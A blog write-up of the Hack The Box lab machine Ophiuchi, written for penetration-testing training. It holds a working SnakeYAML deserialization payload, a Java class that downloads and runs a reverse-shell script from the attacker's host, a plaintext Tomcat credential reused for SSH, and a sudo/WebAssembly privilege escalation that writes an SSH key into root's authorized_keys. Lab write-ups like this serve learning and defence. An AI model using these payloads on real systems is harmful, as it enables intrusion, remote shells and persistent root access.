18th September 2021
Hack The Box Ophiuchi write-up by T13nn3s

Hack The Box Write-Up Ophiuchi – 10.10.10.227

Two possibilities exist: either we are alone in the Universe or we are not. Both are equally terrifying.

Arthur C. Clarke

About Ophiuchi

In this post, I’m writing a write-up for the machine Ophiuchi from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills.

Ophiuchi is a ‘Medium’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 15, and submitting the root flag your points will be raised by 30.

Foothold
The port scan discovers two open ports. The first port is the default SSH port 22/tcp and the second port is 8080/tcp. On checking the website on port 8080, we ended up on an online Yaml parser service. After some investigation on the website, we can discover a Yaml deserialization vulnerability. Through the exploitation of this vulnerability, we can gain a reverse shell as the user account tomcat.

User
Through the reverse shell as the user tomcat, we have found a second user account on this machine with the name admin. After doing some enumeration on the machine we can find the password of the user account admin in the configuration files of tomcat, and we are able to do a lateral movement to this user account. The user account admin has the privileges to establish an SSH session and through an SSH session, we can read the user flag.

Root
The user account admin has the privileges to run /opt/wasm-functions/index.go with root privileges. Based on the output of the WebAssembly file main.wasm, an if statement in index.go determines whether the bash script deploy.sh is executed or not. By decompiling main.wasm and making sure the output of this script is 1 and no longer 0, the if statement in the index.go file is fulfilled and deploy.sh is executed with root permissions. We can add a payload to deploy.sh to write the public key to the root user account. As the index.go is not defining the location of the files deploy.sh and main.wasm, we can place these files in the /tmp directory with the modified content and execute the index.go from this location, so that deploy.sh with the payload will be executed as root. After the exploitation of the index.go file we can create an SSH session as root and read the root flag.

Machine Info

Hack The Box Ophiuchi write-up by T13nn3s
Hack The Box Ophiuchi write-up by T13nn3s
Hack The Box Ophiuchi machine ip and maker
Hack The Box Ophiuchi machine IP and maker

Reconnaissance

Port scan

We start this machine with a port scan with Nmap.

~$ nmap -sC -sV -oA ./nmap/10.10.10.227 10.10.10.227

The results.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-02 16:32 EST
Nmap scan report for 10.10.10.227
Host is up (0.046s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.23 seconds

According to the results of the port scan, we can discover two open ports. The first port is the default SSH port on 22/tcp. The second open port is 8080/tcp, behind this port is an Apache Tomcat 9.0.38 running. The banner shows the HTTP title Parse YAML.

Enumeration Web Server

Let’s start with the enumeration of the webserver. We can visit the web service by visiting the URL http://10.10.10.227:8080. We got redirected to an online YAML parser.

Hack The Box Ophiuchi online YAML parser
http://10.10.10.227:8080

The Need support? is not functioning. If we are filling in a random string in the text field we receive the message: Due to security reason this feature has been temporarily on hold. We will soon fix the issue! Obviously, there is something wrong with this web service. If we are putting a single quote in the field, we encounter an error message.

Hack The Box Ophiuchi SnakeYaml

If we are observing this error message, we can notice that SnakeYaml is being used. After searching on the internet, we can find a SnakeYaml Deserialization vulnerability.

Exploitation

SnakeYaml Deserialization

We can use this blog article from Swapneil Kumar Dash to test if we can abuse this deserialization vulnerability. For that purpose, we can use the code below.

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.15"]
  ]]
]

The payload is working, we have an incoming connection. We have now confirmed that this SnakeYaml is vulnerable to Remote Code Execution (RCE). As we can see below, SnakeYAML tries to access the endpoint /META-INF/services/javax.script.ScriptEngineFactory and since it’s not available, our server responds with an HTTP 404 error.

~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …
10.10.10.227 - - [20/Mar/2021 16:14:08] code 404, message File not found
10.10.10.227 - - [20/Mar/2021 16:14:08] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 404 -

The article uses this payload: https://github.com/artsploit/yaml-payload, so we can clone this repository to our working directory.

~$  git clone https://github.com/artsploit/yaml-payload
Cloning into 'yaml-payload'...
remote: Enumerating objects: 10, done.
remote: Total 10 (delta 0), reused 0 (delta 0), pack-reused 10
Unpacking objects: 100% (10/10), 1.34 KiB | 196.00 KiB/s, done. 

Let’s modify the payload and make in a two way approach. The first command downloads the reverse shell payload, and the second command starts the reverse shell.

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl 10.10.16.144/revshell.sh -o /tmp/revshell.sh");                                                                                                                                                
             Runtime.getRuntime().exec("bash /tmp/revshell.sh");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

Then, we need to compile the file according to the instructions from the GitHub repository.

~$ javac src/artsploit/AwesomeScriptEngineFactory.java 
~$ jar -cvf yaml-payload.jar -C src/ .                                                                                                                                               
added manifest                                                                                                                                                                                                                             
ignoring entry META-INF/                                                                                                                                                                                                                   
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)                                                                                                                                                                                     
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)                                                                                                                                                
adding: artsploit/(in = 0) (out= 0)(stored 0%)                                                                                                                                                                                             
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1573) (out= 413)(deflated 73%)                                                                                                                                                      
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1676) (out= 703)(deflated 58%)                                                                                                                                                     
adding: revshell.sh(in = 55) (out= 50)(deflated 9%)

Last thing to do is, use this payload the execute the yaml-payload.jar for command execution on the machine.

!!javax.script.ScriptEngineManager [
   !!java.net.URLClassLoader [[
     !!java.net.URL ["http://10.10.16.144/yaml-payload.jar"]
   ]]
 ]

The exploit is working! Payload is downloaded and executed.

~$ python3 -m http.server 80                                                                                                                                                         
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) …                                                                                                                                                                                   
10.10.10.227 - - [22/Mar/2021 16:08:57] "GET /yaml-payload.jar HTTP/1.1" 200 -                                                                                                                                                             
10.10.10.227 - - [22/Mar/2021 16:08:58] "GET /yaml-payload.jar HTTP/1.1" 200 -                                                                                                                                                             
10.10.10.227 - - [22/Mar/2021 16:08:58] "GET /revshell.sh HTTP/1.1" 200 -    

We got a reverse shell! We have a shell as the user account tomcat.

[email protected]:/$ hostname; whoami; id
 hostname; whoami; id
 ophiuchi
 tomcat
 uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Lateral Movement

Shell from tomcat to admin

As we are moving through the machine we can find a second user account admin. We need to lateral move to this user account, because the user flag is on his home directory, and we do not have access to it from our current account. Let’s download first download linpeas.sh to this machine and let it run. But it’s not finding something useful, that only that /opt/tomcat is existing. Let’s do a recursive grep in the /opt folder on the string admin and let’s see if we get something.

[email protected]:/opt$ grep -v "admin" .
...
./tomcat/conf/tomcat-users.xml: <user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui" />

The grep output shows the password whythereisalimit. This password comes from the tomact-users.xml configuration file. Let’s try to get a SSH session as the user account admin. We can directly read the user flag.

~$ ssh [email protected]
The authenticity of host '10.10.10.227 (10.10.10.227)' can't be established.
ECDSA key fingerprint is SHA256:OmZ+JsRqDVNaBWMshp7wogZM0KhSKkp1YmaILhRxSY0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.227' (ECDSA) to the list of known hosts.
[email protected]'s password: 

Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)

* Documentation:  https://help.ubuntu.com
* Management:     https://landscape.canonical.com
* Support:        https://ubuntu.com/advantage

System information as of Mon 22 Mar 2021 09:14:57 PM UTC

System load:             0.01
Usage of /:              19.9% of 27.43GB
Memory usage:            17%
Swap usage:              0%
Processes:               214
Users logged in:         0
IPv4 address for ens160: 10.10.10.227
IPv6 address for ens160: dead:beef::250:56ff:feb9:731e 

176 updates can be installed immediately.
56 of these updates are security updates.
To see these additional updates run: apt list --upgradable

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Jan 11 08:23:12 2021 from 10.10.14.2
[email protected]:~$ cat user.txt
93f48e2102c9799e7c4085335e1ee455

Privilege Escalation

Enumeration

Let’s first check the privileges of this user account admin.

[email protected]:/$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

This user account has the permissions to run index.go with root privileges. Let’s check the contents of this file.

package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)
func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")
        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()     init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
               fmt.Println("Not ready to deploy")
       } else {
               fmt.Println("Ready to deploy")
               out, err := exec.Command("/bin/sh", "deploy.sh").Output()
               if err != nil {
                        log.Fatal(err)
                }
               fmt.Println(string(out))
       }
 }

This script is loading main.wasm, then it defines the variable f and this variable needs to be 1, if it is, it will run the script deploy.sh. If we check the contents of that file, we get this.

!/bin/bash

ToDo

Create script to automatic deploy our new web at tomcat port 8080

What is a WebAssembly file

Before we can exploit index.go, we need to know what this script is doing. This script is calling the file main.wasm. This file is a WebAssembly file. This is an open standard and is a new type of binary code that can be run in modern web browsers. It is a low-level assembly programming language, with a compact binary format. With the program wabt, we can decompile and compile this file.

We do not have the permissions to edit the files on the /opt/wasm-functions directory. So, we copy everything from this directory to the /tmp directory.

[email protected]:/$ cp -r /opt/wasm-functions/* /tmp/

We can download the file main.wasm to our local system by running an HTTP web server on the tartget machine.

Let’s modify deploy.sh to a new payload which is writing our public key into the authorized_keys of the root user. Then we need to install wabt on our local system.

~$ sudo apt-get install wabt
Reading package lists… Done
Building dependency tree… Done
Reading state information… Done
The following NEW packages will be installed:
  wabt
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 1,155 kB of archives.
After this operation, 12.0 MB of additional disk space will be used.
Get:1 https://mirror.neostrada.nl/kali kali-rolling/main amd64 wabt amd64 1.0.20-1 [1,155 kB]
Fetched 1,155 kB in 4s (326 kB/s)
Selecting previously unselected package wabt.
(Reading database … 362367 files and directories currently installed.)
Preparing to unpack …/wabt_1.0.20-1_amd64.deb …
Unpacking wabt (1.0.20-1) …
Setting up wabt (1.0.20-1) …
Processing triggers for man-db (2.9.4-1) …
Processing triggers for kali-menu (2021.1.4) …

After the installation we have the commands wasm2wat and wat2wasm at our disposal. Let’s first decompile this program into a human-readable format.

wasm2wat main.wasm --no-debug-names --output main.wasm.wat

We can now edit the wasm.wat file and we change i32.const 0) to i32.const 1), so that the output will match the if statement in the file index.go. After the modification, this file has the contents:

(module
     (type (;0;) (func (result i32)))
     (func $info (type 0) (result i32)
          i32.const 1)
     (table (;0;) 1 1 funcref)
     (memory (;0;) 16)
     (global (;0;) (mut i32) (i32.const 1048576))
     (global (;1;) i32 (i32.const 1048576))
     (global (;2;) i32 (i32.const 1048576))
     (export "memory" (memory 0))
     (export "info" (func $info))
     (export "__data_end" (global 1))
     (export "__heap_base" (global 2)))

We now need to compile the main.wat back to main.wasm.

~$ wat2wasm main.wasm.txt --output main.wasm

After downloading the file main.wasm to the target machine, we can replace the original main.wasm we have placed in the /tmp directory with our modified one. Secondly, we need to replace the contents of deploy.sh with a new payload which is writing our public key into the /root/ssh/authorized_keys file. We can use the key format ed22519 because the key is short in length and much easier to use.

echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKrghtFbebWyGercBv+NfAFL31qGsom13zJXJ5AYrV5c [email protected]' >> /root/.ssh/authorized_keys

Everything is now in place: we have the modified main.wasm and the modified deploy.sh in the /tmp directory. From this directory we can call the index.go with root privileges. The index.go will execute our modified files and if the output is equal to Ready to deploy, the public key will be written to the authorized_keys of the user account root.

[email protected]:/tmp$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy

The key is now written to the authorized_keys of the root user. Let’s try to create an SSH session as root.

~$ [email protected]:/home/kali/htb/machines/ophiuchi# sudo ssh [email protected] -i id_ed25519                                                                                                                                                       
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)                                                                                                                                                                            

* Documentation:  https://help.ubuntu.com                                                                                                                                                                                                 
* Management:     https://landscape.canonical.com                                                                                                                                                                                         
* Support:        https://ubuntu.com/advantage                                                                                                                                                                                            

System information as of Tue 23 Mar 2021 09:59:19 AM UTC                                                                                                                                                                                 

System load:             0.0
Usage of /:              20.0% of 27.43GB
Memory usage:            9%
Swap usage:              0%
Processes:               219
Users logged in:         1
IPv4 address for ens160: 10.10.10.227
IPv6 address for ens160: dead:beef::250:56ff:feb9:6448 

176 updates can be installed immediately.
56 of these updates are security updates.
To see these additional updates run: apt list --upgradable 

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings 

Last login: Fri Feb  5 17:51:32 2021

We have an SSH session as root, we can now read the root flag.

[email protected]:~# cat root.txt 
0baf40495784ae34f3623ec8c7fd63d8

I enjoyed this machine and writing this write-up! If you learned something from my write-up, I would really appreciate it if you left respect on my Hack The Box profile: https://app.hackthebox.eu/profile/224856.

Thanks for reading!

Happy Hacking! 🙂

T13nn3s

I'm a cybersecurity enthusiast! I'm working as an IT Security Engineer for a company in The Netherlands. I love writing scripts and doing research and pentesting. As a big fan of Hack The Box, I share my write-ups on this blog. I'm blogging because I like to summarize my thoughts and share them with you.

View all posts by T13nn3s →

Leave a Reply

Your email address will not be published. Required fields are marked *